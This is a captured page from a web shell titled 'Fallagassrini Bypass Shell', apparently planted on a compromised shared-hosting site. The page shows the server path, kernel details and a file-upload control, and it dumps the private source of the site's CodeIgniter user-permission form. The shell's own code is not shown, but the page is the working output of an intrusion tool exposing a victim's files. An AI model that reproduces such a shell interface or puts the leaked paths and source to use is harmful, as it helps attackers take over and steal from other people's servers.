? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/koaladraft/application/views/settings/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/koaladraft/application/views/settings/edit_user.php

<?php  
    if ( ! defined('BASEPATH')) exit('No direct script access allowed');
    $this->load->view('documentreadyfunctions');

?>
<script>
$(document).ready(function() {
    $('#selectall').click(function(event) {  //on click 
        if(this.checked) { // check select status
            $('.report_select').each(function() { //loop through each checkbox
                this.checked = false;  //select all checkboxes with class "checkbox1"               
            });
        }else{
            $('.report_select').each(function() { //loop through each checkbox
                this.checked = true; //deselect all checkboxes with class "checkbox1"                       
            });         
        }
    });
    
});
</script>
<div class="icons_main">
    <div  class="icons">
        <img src="<?=base_url()?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('settings','viewinsettingssearch','search_user','view_user','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
   <div class="icons_caption">
        <h4>Updating User</h4>
  </div>
</div>
<?php
    $attributes=array('id'=>'validateform','class'=>'validate');
    echo form_open('settings/addinsettings/update_user/view_user/1',$attributes);
?>

<div class="grid_6">
    <div class="box">
            <div class="header">                
                    <span></span>
            </div>
         
            <div class="content no-padding">
                <div class="section _100">
                    <label for="data">Employee Name</label>
                        <div class="single_page">
                            <?=$this->mastermodel->get_single_field_value('employee','employee_name','employee_id',$viewinfo->employee_id);?>
                        </div>
                </div>                
                 <div class="section _100">
                    <label for="data">Designation</label>
                        <div class="single_page">
                            <?=$this->mastermodel->get_single_joined_value('designation_name','designation','employee','designation_id','employee_designation_id','employee_id',$viewinfo->employee_id);?>
                        </div>
                </div>
                 <div class="section _100">
                     <label> User Name </label>
                        <div>
                            <input type="text" name="username" id="username" readonly class="required" value="<?=$viewinfo->user_name;?>" onchange="checkexistence('user','user_name',this.value)" />
                        </div>                    
                </div>                                    
            </div>
               
    </div> 
</div> 

      <div id="role_permissions">
            <table class="table">
                <thead>
                    <tr>
                    <th>Module Name</th>
                    <th><input style="width: 15px;" type="checkbox" id="view_check_all" onchange="check_all_view(this,'view_','')">View </th>
                    <th><input style="width: 15px;" type="checkbox" id="add_check_all" onchange="check_all_view(this,'add_','')">Create </th>
                     <th><input style="width: 15px;" type="checkbox" id="edit_check_all" onchange="check_all_view(this,'edit_','')"> Edit</th>
                    <th><input style="width: 15px;" type="checkbox" id="delete_check_all" onchange="check_all_view(this,'delete_','')">Delete</th>
                    <th><input style="width: 15px;" type="checkbox" id="homepage_check_all" onchange="check_all_view(this,'homepage_','')">Home Page</th>
                    </tr>
                </thead>
                <tbody>
                    <?php
                        $viewinfo1 = $this->settingsmodel->get_user_permission_by_user_id($viewinfo->user_id);
                        $modules = $this->mastermodel->getmoduledata();
                        $modname="";
                        $i=1;
                        $j=0;
                        $viewCount=0;
                        $initialPermission="";
                        $moduleidList="";
                        $tmp = $viewinfo1[0];
                        $homepage_list = $tmp['home_page'];
                        $is_homepage = explode(',', $tmp['home_page']);
                        $allowed=explode(",",$tmp['user_modules']);
                        $edit_del=explode(",",$tmp['modules_permission']);
                        foreach ($modules as $menulst)
                        {
                            $menuid=$menulst['menu_id'];
                            $poss='';
                            for($i=1;$i<sizeof($allowed)+1;$i++)
                                if($allowed[$i-1]==$menuid)
                                    $poss=$i;
                            if($poss!='')
                            {
                                $val=0;
                                if(isset($edit_del[$poss-1]))
                                    $val=$edit_del[$poss-1];
                            }
                            else
                            {
                                $val=0;
                                $val1=0;
                            }
                            $a=decbin($val);
                            $d=sprintf('%04u',$a);
                            $ar = str_split($d);
                            
                            
                            $viewCount++;
                            $initialPermission .= "0,";
                            $moduleidList .= $menulst['menu_id'].",";
                            if($modname!=$menulst['module_name'])
                            {
                                $modname=$menulst['module_name'];
                                ?>
                                <tr>
                                    <th style="background-color:lavender;"><span><?=$menulst['module_title'];?></span></th>
                                    <th style="background-color:lavender;"><input style="width: 15px;" class="" type="checkbox" id="view_<?=$modname?>" onchange="check_module_view('view_','<?=$modname?>')"></th>
                                    <th style="background-color:lavender;"><input style="width: 15px;" class="" type="checkbox" id="add_<?=$modname?>" onchange="check_module_view('add_','<?=$modname?>')"></th>
                                    <th style="background-color:lavender;"><input style="width: 15px;" class="" type="checkbox" id="edit_<?=$modname?>" onchange="check_module_view('edit_','<?=$modname?>')"></th>
                                    <th style="background-color:lavender;"><input style="width: 15px;" class="" type="checkbox" id="delete_<?=$modname?>" onchange="check_module_view('delete_','<?=$modname?>')"></th>
                                    <th style="background-color:lavender;"><input style="width: 15px;" class="" type="checkbox" id="homepage_<?=$modname?>" onchange="check_module_view('homepage_','<?=$modname?>')"></th>
                                </tr>
                                <tr>
                                    <td><?=$menulst['caption']; ?></td>
                                    <td style="text-align:center;"><input class="" style="width: 15px;" onchange="check_all_view(this,'','view_')" name="view_<?=$modname?>[]" id="view_<?php echo $j;?>" value="8" type="checkbox" <?php if($ar[0]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td style="text-align:center;"><input class="" style="width: 15px;" onchange="check_all_view(this,'','add_')" name="add_<?=$modname?>[]" id="add_<?php echo $j;?>" value="4" type="checkbox" <?php if($ar[1]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td style="text-align:center;"><input class="" style="width: 15px;" onchange="check_all_view(this,'','edit_')" name="edit_<?=$modname?>[]" id="edit_<?php echo $j;?>" value="2" type="checkbox" <?php if($ar[2]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td style="text-align:center;"><input class="" style="width: 15px;" onchange="check_all_view(this,'','delete_')" name="delete_<?=$modname?>[]" id="delete_<?php echo $j;?>" value="1" type="checkbox" <?php if($ar[3]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td style="text-align:center;"><input class="" style="width: 15px;" onchange="check_all_view(this,'','delete_')" name="homepage_<?=$modname?>[]" id="homepage_<?php echo $j;?>" value="1" type="checkbox" <?php if(isset($is_homepage[$j]) && $is_homepage[$j] == 1) { echo "checked"; } ?>></td>
                                </tr>
                                <?php
                                 $i++;
                            }
                            else
                            {
                                ?>
                                <tr>
                                    <td><?=$menulst['caption']; ?></td>
                                    <td style="text-align:center;"><input class="" style="width: 15px;" onchange="check_all_view(this,'','view_')" name="view_<?=$modname?>[]" id="view_<?php echo $j;?>" value="8" type="checkbox" <?php if($ar[0]=="1"){ echo 'checked="checked"'; } ?>  ></td>
                                    <td style="text-align:center;"><input class="" style="width: 15px;" onchange="check_all_view(this,'','add_')" name="add_<?=$modname?>[]" id="add_<?php echo $j;?>" value="4" type="checkbox" <?php if($ar[1]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td style="text-align:center;"><input class="" style="width: 15px;" onchange="check_all_view(this,'','edit_')" name="edit_<?=$modname?>[]" id="edit_<?php echo $j;?>" value="2" type="checkbox" <?php if($ar[2]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td style="text-align:center;"><input class="" style="width: 15px;" onchange="check_all_view(this,'','delete_')" name="delete_<?=$modname?>[]" id="delete_<?php echo $j;?>" value="1" type="checkbox" <?php if($ar[3]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td style="text-align:center;"><input class="" style="width: 15px;" onchange="check_all_view(this,'','homepage_')" name="homepage_<?=$modname?>[]" id="homepage_<?php echo $j;?>" value="1" type="checkbox" <?php if(isset($is_homepage[$j]) && $is_homepage[$j] == 1) { echo "checked"; } ?>></td>
                                </tr>
                                <?php   
                            }
                            $j++;
                        }
                    ?>
                </tbody>
            </table>
            <input type="hidden" id="ViewCount" value='<?php echo $viewCount?>'/>
            <input type="hidden" id="TxtPermissionList" name="modules_permission" value='<?php echo $tmp['modules_permission']?>'/>
            <input type="hidden" id="ModuleidList" name="user_modules" value="<?php echo $moduleidList?>"/>
            <input type="hidden" id="home_page_list" name="user_home_page" value="<?php echo $homepage_list?>"/>
            </div>
        <div class="box">
            <table class="table">
                <thead>
                    <tr>
                        <th>Module Name</th>
                        <th><input style="width: 15px;" type="checkbox" id="selectall"></th>
                    </tr>
                </thead>
                <tbody>
            <?php
            $user_report=$this->mastermodel->get_data('user_report',$viewinfo->user_id,'user_id');
            $data=array();
            foreach($user_report as $row)
                $data[]=$row['report_id'];
            $reports=$this->mastermodel->getdatas('report','report_module_id');
            foreach($reports as $list)
            {
               
            ?>
            <tr>
                <td><?=$list['report_label'];?></td>
                <th><input <?php if(in_array($list['report_id'], $data)){echo "checked";}?> style="width: 15px;" type="checkbox" class="report_select" value="<?=$list['report_id'];?>" name="report_select[]"></th>
            </tr>
            <?php
            }
            ?>
                </tbody>
            </table>
        </div>
        <input type="hidden" name="user_id" value="<?=$viewinfo->user_id;?>"/>
        <input type="hidden" id="tab_name" name="tab_name" value="user"/>
<div class="grid_12">
    <div class="box">
        <div class="actions"> 
            <div class="actions-left">
                        <input type="reset">
                        <input type="hidden" name="resfunction" value="search_agent"/>
                        <input type="hidden" name="reminder_id" value="<?=$viewinfo->user_id?>"/> 
                </div>           
                <div class="actions-right">
                        <button type="submit" id="submit" class="clickimage" onclick="addformdata('validateform')">Update</button>
                </div>
        </div>  
    </div>
</div>

<?php echo form_close();?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net